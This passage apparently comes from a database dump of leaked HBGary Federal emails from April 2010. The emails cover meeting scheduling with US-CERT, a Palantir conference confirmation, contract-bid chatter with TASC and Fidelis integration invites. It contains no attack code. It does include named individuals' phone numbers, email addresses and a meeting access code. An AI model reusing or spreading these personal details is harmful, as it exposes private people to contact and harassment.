Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThat works. What do we say, about 9am, 930anm or so?\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=1705c1df47=matthew.stern@gd-ais.com\r\n[mailto:prvs=1705c1df47=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Tuesday, April 06, 2010 1:24 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHow about the\r\n21st?\r\n\r\n \r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:29 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nI’m out this Thursday and Friday and out all next week.\r\nThe 20th is not good either. But free any other time.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Monday, April 05, 2010 1:26 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nOk \r\n\r\n \r\n\r\nI will help\r\nget something set up\r\n\r\n \r\n\r\nWhat does\r\nyour schedule look like?\r\n\r\n \r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:15 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nMatt,\r\n\r\n \r\n\r\nWe in fact do use GB Gary Responder  Pro and HBGary Digital\r\nDNA.\r\n\r\n \r\n\r\nI’d love to hear more about the Sandbox capabilities. \r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\n\r\n\r\nByron Copeland\r\n\r\nChief, Digital Analytics Branch\r\n\r\nUnited States Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nprvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On Behalf Of Stern,\r\nMatthew A.\r\nSent: Monday, April 05, 2010 1:05 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nByron,\r\n\r\nAre you using HB Gary?\r\n\r\nWould you be interested in\r\nsome very powerful reverse\r\nEngineering and Sandbox capabilities that they have?\r\n\r\nR\r\n\r\nMatt\r\n\r\n           \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1322,'aaron_hbgary_com/1322.html'),(4996,'2010-04-06','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','/aaron@hbgary.com/new/1297003191.M626796P3547Q4996.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','RE: HB Gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat &#8211;\r\nI am waiting for responses from our team.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 06, 2010 4:13 PM\r\nTo: Stern, Matthew A.\r\nCc: Rohring, Matthew R.; matthew.rohring@us-cert.gov; Compton, Michael\r\nW.; Penny Leavy-Hoglund; Rich Cummings; Donnelly, Jack F.\r\nSubject: Re: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI am available.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 6, 2010, at 3:57 PM, &quot;Stern, Matthew A.&quot; &lt;Matthew.Stern@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nHBGary team this is the GD-AIS team.\r\n\r\n&nbsp;\r\n\r\nAs we move forward in our partnership,\r\nI thought it would be good to show the US CERT some of the new technologies\r\nthat HB Gary is bringing to the fight.\r\n\r\n&nbsp;\r\n\r\nI have a meeting scheduled with Byron\r\nCopeland, Chief of Forensics and Malware Analysis, US CERT, on April 14, 2010,\r\nat 930 - can you be there?\r\n\r\n&nbsp;\r\n\r\nMatt Rohring can you set up a\r\nconference Room at Glebe Road?\r\n\r\n&nbsp;\r\n\r\nIf you all respond positively, I will\r\nsend the reminder notice.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Tuesday, April 06, 2010 1:46 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat\r\nworks. What do we say, about 9am, 930anm or so?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron\r\nCopeland\r\n\r\nChief,\r\nDigital Analytics Branch\r\n\r\nUnited\r\nStates Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: prvs=1705c1df47=matthew.stern@gd-ais.com\r\n[mailto:prvs=1705c1df47=matthew.stern@gd-ais.com] On\r\nBehalf Of Stern, Matthew A.\r\nSent: Tuesday, April 06, 2010 1:24 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow about the 21st?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:29 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nout this Thursday and Friday and out all next week. The 20th is not\r\ngood either. But free any other time.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron\r\nCopeland\r\n\r\nChief,\r\nDigital Analytics Branch\r\n\r\nUnited\r\nStates Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: prvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On\r\nBehalf Of Stern, Matthew A.\r\nSent: Monday, April 05, 2010 1:26 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk \r\n\r\n&nbsp;\r\n\r\nI will help get something set up\r\n\r\n&nbsp;\r\n\r\nWhat does your schedule look like?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr, \r\n\r\nMatt \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Copeland, Byron D\r\n[mailto:Byron.Copeland@dhs.gov] \r\nSent: Monday, April 05, 2010 1:15 PM\r\nTo: Stern, Matthew A.; Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: RE: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n&nbsp;\r\n\r\nWe in\r\nfact do use GB Gary Responder &nbsp;Pro and HBGary Digital DNA.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d\r\nlove to hear more about the Sandbox capabilities. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nByron\r\nCopeland\r\n\r\nChief,\r\nDigital Analytics Branch\r\n\r\nUnited\r\nStates Computer Emergency Readiness Team\r\n703-235-5064\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: prvs=17040d1f08=matthew.stern@gd-ais.com\r\n[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com] On\r\nBehalf Of Stern, Matthew A.\r\nSent: Monday, April 05, 2010 1:05 PM\r\nTo: Copeland, Byron D\r\nCc: Donnelly, Jack F.\r\nSubject: HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nByron,\r\n\r\nAre you using HB Gary?\r\n\r\nWould you be interested in\r\nsome very powerful reverse\r\nEngineering and Sandbox capabilities that they have?\r\n\r\nR\r\n\r\nMatt\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16334,'aaron_hbgary_com/16334.html'),(4997,'2010-04-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003191.M842181P3547Q4997.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Resume','Is this the guy that comes recommended from Rich?\r\n\r\n\r\nSent from my iPad\r\n\r\nOn Apr 6, 2010, at 10:31 AM, Aaron Barr  wrote:\r\n\r\n> \r\n>\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',16811,'aaron_hbgary_com/16811.html'),(4998,'2010-04-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003192.M257687P3547Q4999.eml','\"Aaron Barr\" <adbarr@mac.com>','','18.49x27.16\r\n\r\n From my iPhone\r\n',4682,'aaron_hbgary_com/4682.html'),(4999,'2010-04-06','\"Palantir Technologies\" <contact@eventbrite.com>','/aaron@hbgary.com/new/1297003192.M485230P3547Q5000.eml','aaron@hbgary.com','Message to Registered Guests of Palantir Technologies\' 5th Government Conference(Copy)','\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n\r\n\r\n\r\n \r\n  Normal\r\n  0\r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you for registering for the 5th Palantir\r\nGovernment Conference on Wednesday,\r\nApril 7, 2010 at the Ritz-Carlton - Tysons Corner.  This e-mail serves as confirmation that you\r\nhave successfully registered.  We are excited that you are\r\nplanning on attending and hope that you will find the conference valuable. \r\n \r\nIMPORTANT: Valid\r\ngovernment-issued photo identification will be required to enter the conference.\r\nValid forms of ID include US driver’s license, passport, or government\r\nbadge. \r\n \r\nIn order to help you plan your day better, the complete\r\nconference agenda can be found here.  There will be an optional pre-conference Introduction to Palantir offered from 0830 to 0930.  If you have never seen or used the Palantir\r\nplatform, I highly encourage you to attend this.  This talk will start from scratch and provide\r\na broad overview of Palantir’s origins and mission while also walking through\r\nnominal workflows during a live demonstration. \r\nPlease arrive by 0815 to check-in if you will be attending this talk.\r\n \r\nThe conference will\r\nbegin sharply at 1000, please arrive\r\nby 0900 to check-in, receive conference materials, and enjoy a continental\r\nbreakfast prior to the conference start. \r\nThe conference will conclude with a reception from 1630 to 1800.  This will be a great opportunity to talk with\r\nPalantir staff, partners, and your colleagues from around the community.\r\n \r\nIMPORTANT: Please print\r\nand bring with you the bar-coded ticket you received via Email upon\r\nregistering (also can be found linked at the bottom of this Email).  This will expedite your\r\ncheck-in significantly.\r\n \r\nIn addition to the\r\nexciting topics being presented, take advantage of the following at GovCon5:\r\n·        \r\nOn-site Training:  On-site training sessions, 75\r\nminutes each, will be offered on a first come, first serve basis throughout the\r\nconference for anyone interested in putting their hands on the platform.  Two training sessions will begin at 0830,\r\nprior to the conference.  For a complete\r\nschedule of these trainings, please reference the agenda.\r\n·        \r\nPalantir Demo Stations:  Palantir\r\ndemo stations on Intelligence and Defense; Cyber Security; and Regulation,\r\nOversight, and Transparency will offer insight into the types of analysis\r\npossible utilizing the power of the Palantir platform.\r\n·        \r\nPalantir\r\nStaff:  The majority of Palantir’s\r\nstaff will be present throughout the conference to answer any questions you may\r\nhave ranging from the technical to the qualitative.\r\n·        \r\nPalantir\r\nPartner Booths:  There will be 15 partner booths demonstrating\r\ncustom integrations with the Palantir platform.\r\n \r\nWe look forward to seeing you there!\r\n \r\nSincerely,\r\n \r\nTimothy Ronan\r\n \r\nGovCon5 Coordinator\r\nForward Deployed Engineer\r\nPalantir Technologies\r\n \r\nAbout Palantir Technologies\r\nPalantir Technologies is working\r\nto radically change how groups analyze information.\r\nWe were founded in 2004 by a\r\nhandful of PayPal alumni and Stanford computer scientists. We currently offer\r\ntwo products: Palantir Government and Palantir Finance. Both are platforms for\r\nintegrating, visualizing, and analyzing the world’s information. We support\r\nmany kinds of data including structured, unstructured, relational, temporal,\r\nand geospatial. Our products are built for real analysis with a focus on\r\nsecurity, scalability, ease of use, and collaboration.\r\nPalantir Government is broadly deployed in the\r\nintelligence, defense, and law enforcement communities, and is spreading\r\nrapidly by word-of-mouth. Palantir Finance is in use at some of the\r\nworld’s leading hedge funds and financial institutions.\r\nPalantir is headquartered in\r\nsunny downtown Palo Alto, CA with offices in Tyson’s Corner, VA.  For more information, please visit our Web\r\nsite at http://www.palantirtech.com.\r\n \r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n				Please download and print your electronic tickets. &nbsp;Click Here to Download your Tickets \r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n		\r\n					This email was sent by Eventbrite,\r\n					your total online solution to publish,\r\n					register, manage and promote events.\r\n					Host Your Events With Eventbrite\r\n					Click here to unsubscribe from events by \"Palantir Technologies.\"\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',3298,'aaron_hbgary_com/3298.html'),(5000,'2010-04-06','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297003192.M55073P3547Q4998.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','DISA launches huge integrated technology contract','DISA launches huge integrated technology contractPact would provide cradle-to-grave operational support for training, exercises and events, analyze operational readiness, and form concepts for global networks and systems.From my iPhone\r\n',8308,'aaron_hbgary_com/8308.html'),(5001,'2010-04-06','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297003192.M733973P3547Q5001.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Checking in','We just had the conversation today.  When we told Amanda we were\r\npriming, the conversation ended.\r\n\r\nI may have more information tomorrow after the vendors quarterly, they\r\nwill update us on acquisitions.\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 10:00 AM\r\nTo: Lovegrove, John (TASC)\r\nSubject: Re: Checking in\r\n\r\nHow did the conversations with SAIC go?\r\nAaron\r\n\r\nOn Apr 1, 2010, at 9:37 AM, Lovegrove, John (TASC) wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> We are still pulling the team together on COIN, we have a follow up\r\n> discussion with SAIC tomorrow. I got a random report that the\r\n> competition was cancelled, did you hear anything about this?\r\n> \r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive use\r\nof\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail\r\nis\r\n> not the intended recipient or his or her authorized agent, the reader\r\nis\r\n> hereby notified that any dissemination, distribution or copying of\r\nthis\r\n> e-mail is prohibited. If you think that you have received this e-mail\r\nin\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 29, 2010 2:01 PM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Checking in\r\n> \r\n> Hey John,\r\n> \r\n> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n> started thinking about all the other stuff going on.  What is the\r\n> status of your COIN effort and when would you like to set up anyone to\r\n> talk about NSA?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15510,'aaron_hbgary_com/15510.html'),(5002,'2010-04-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297003193.M203128P3547Q5003.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,greg@hbgary.com,\"Savchuk, Gene\" <gene.savchuk@fidelissecurity.com>,\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\nGoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\nWhen: Friday, April 09, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 312-878-0202, Access Code 171-602-721 (webmeeting included)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nPenny had sent the original meeting request &#8211; just sending a second one with a dial in bridge and webinar link.&nbsp; Looking forward to talking on Friday.\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp; Please join my meeting.\r\n\r\nhttps://www1.gotomeeting.com/join/171602721\r\n\r\n2.&nbsp; Use your microphone and speakers (VoIP) - a headset is recommended.&nbsp; Or, call in using your telephone.\r\n\r\nDial 312-878-0202\r\n\r\nAccess Code: 171-602-721\r\n\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 171-602-721\r\n\r\nGoToMeeting® \r\n\r\nOnline Meetings Made Easy&#8482;\r\n\r\n\r\n',3893,'aaron_hbgary_com/3893.html'),(5003,'2010-04-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003193.M2594P3547Q5002.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Checking in','I thought that may be the case.  Well their loss.  We cam ghost their\r\nstory I  not sure they can as easily ghost ours.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 6, 2010, at 5:58 PM, \"Lovegrove, John (TASC)\"  wrote:\r\n\r\n> We just had the conversation today.  When we told Amanda we were\r\n> priming, the conversation ended.\r\n>\r\n> I may have more information tomorrow after the vendors quarterly, they\r\n> will update us on acquisitions.\r\n>\r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n>\r\n>\r\n>\r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive\r\n> use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail\r\n> is\r\n> not the intended recipient or his or her authorized agent, the\r\n> reader is\r\n> hereby notified that any dissemination, distribution or copying of\r\n> this\r\n> e-mail is prohibited. If you think that you have received this e-\r\n> mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, April 05, 2010 10:00 AM\r\n> To: Lovegrove, John (TASC)\r\n> Subject: Re: Checking in\r\n>\r\n> How did the conversations with SAIC go?\r\n> Aaron\r\n>\r\n> On Apr 1, 2010, at 9:37 AM, Lovegrove, John (TASC) wrote:\r\n>\r\n>> Hey Aaron,\r\n>>\r\n>> We are still pulling the team together on COIN, we have a follow up\r\n>> discussion with SAIC tomorrow. I got a random report that the\r\n>> competition was cancelled, did you hear anything about this?\r\n>>\r\n>>\r\n>> John Lovegrove\r\n>> Director\r\n>> Office: (703) 449-3812\r\n>> Cell: (571) 294-5154\r\n>>\r\n>>\r\n>>\r\n>> TASC INTERNAL DISTRIBUTION ONLY\r\n>> This e-mail, including attachments, is intended for the exclusive use\r\n> of\r\n>> the person or entity to whom it is addressed and may contain\r\n>> confidential or privileged information. If the reader of this e-mail\r\n> is\r\n>> not the intended recipient or his or her authorized agent, the reader\r\n> is\r\n>> hereby notified that any dissemination, distribution or copying of\r\n> this\r\n>> e-mail is prohibited. If you think that you have received this e-mail\r\n> in\r\n>> error, please advise the sender by reply e-mail of the error and then\r\n>> delete this e-mail immediately.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, March 29, 2010 2:01 PM\r\n>> To: Lovegrove, John (TASC)\r\n>> Subject: Checking in\r\n>>\r\n>> Hey John,\r\n>>\r\n>> Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n>> started thinking about all the other stuff going on.  What is the\r\n>> status of your COIN effort and when would you like to set up anyone\r\n>> to\r\n>> talk about NSA?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',7350,'aaron_hbgary_com/7350.html'),(5004,'2010-04-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297003193.M495558P3547Q5004.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,greg@hbgary.com,\"Savchuk, Gene\" <gene.savchuk@fidelissecurity.com>,\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\nGoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\nWhen: Friday, April 09, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 312-878-0202, Access Code 171-602-721 (webmeeting included)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nPenny had sent the original meeting request &#8211; just sending a second one with a dial in bridge and webinar link.&nbsp; Looking forward to talking on Friday.\r\n\r\nBTW &#8211; for any of the local DC area folks, please let me know if you&#8217;d like to join us at Fidelis in Bethesda - http://www.fidelissecurity.com/data-leakage-protection-contact/directions\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp; Please join my meeting.\r\n\r\nhttps://www1.gotomeeting.com/join/171602721\r\n\r\n2.&nbsp; Use your microphone and speakers (VoIP) - a headset is recommended.&nbsp; Or, call in using your telephone.\r\n\r\nDial 312-878-0202\r\n\r\nAccess Code: 171-602-721\r\n\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 171-602-721\r\n\r\nGoToMeeting® \r\n\r\nOnline Meetings Made Easy&#8482;\r\n\r\n\r\n',10203,'aaron_hbgary_com/10203.html'),(5005,'2010-04-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297003193.M893579P3547Q5005.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,greg@hbgary.com,\"Savchuk, Gene\" <gene.savchuk@fidelissecurity.com>,\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>,\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>','RE: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\nRE: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\nI&#8217;ve attached my latest draft of an integration guide for our two solutions.&nbsp; This is just my thoughts from our conversations, and likely has more integration than is required to get started and could be missing other impactful areas that we haven&#8217;t yet discussed&#8212;so feedback would be greatly appreciated.\r\n\r\nAs we have a number of people on the call from Fidelis who haven&#8217;t seen a demo of the HB Gary solutions, I&#8217;m hoping we can do that on Friday early in the call.&nbsp; We&#8217;d also be happy to do a demo for Rich as I&#8217;m not sure he has seen the Fidelis XPS solutions either.&nbsp; (Rich &#8211; if you&#8217;d like to meet us in Bethesda or get on a call before hand, I&#8217;d be happy to do a more detailed demo and technical discussion before the meeting too!)\r\n\r\nDavid\r\n\r\n &lt;&lt;Fidelis XPS and HB Gary Integration v1_2.docx&gt;&gt; \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Etue, David\r\nSent: Tuesday, April 06, 2010 8:49 PM\r\nTo: Penny Leavy-Hoglund; Aaron Barr; Rich Cummings; \'greg@hbgary.com\'; Savchuk, Gene; Mancini, Jerry\r\nSubject: GoToMeeting Invitation - Fidelis XPS / HB Gary Integration Opportunities\r\nWhen: Friday, April 09, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 312-878-0202, Access Code 171-602-721 (webmeeting included)\r\n\r\n\r\n\r\nPenny had sent the original meeting request &#8211; just sending a second one with a dial in bridge and webinar link.&nbsp; Looking forward to talking on Friday.\r\n\r\nBTW &#8211; for any of the local DC area folks, please let me know if you&#8217;d like to join us at Fidelis in Bethesda - 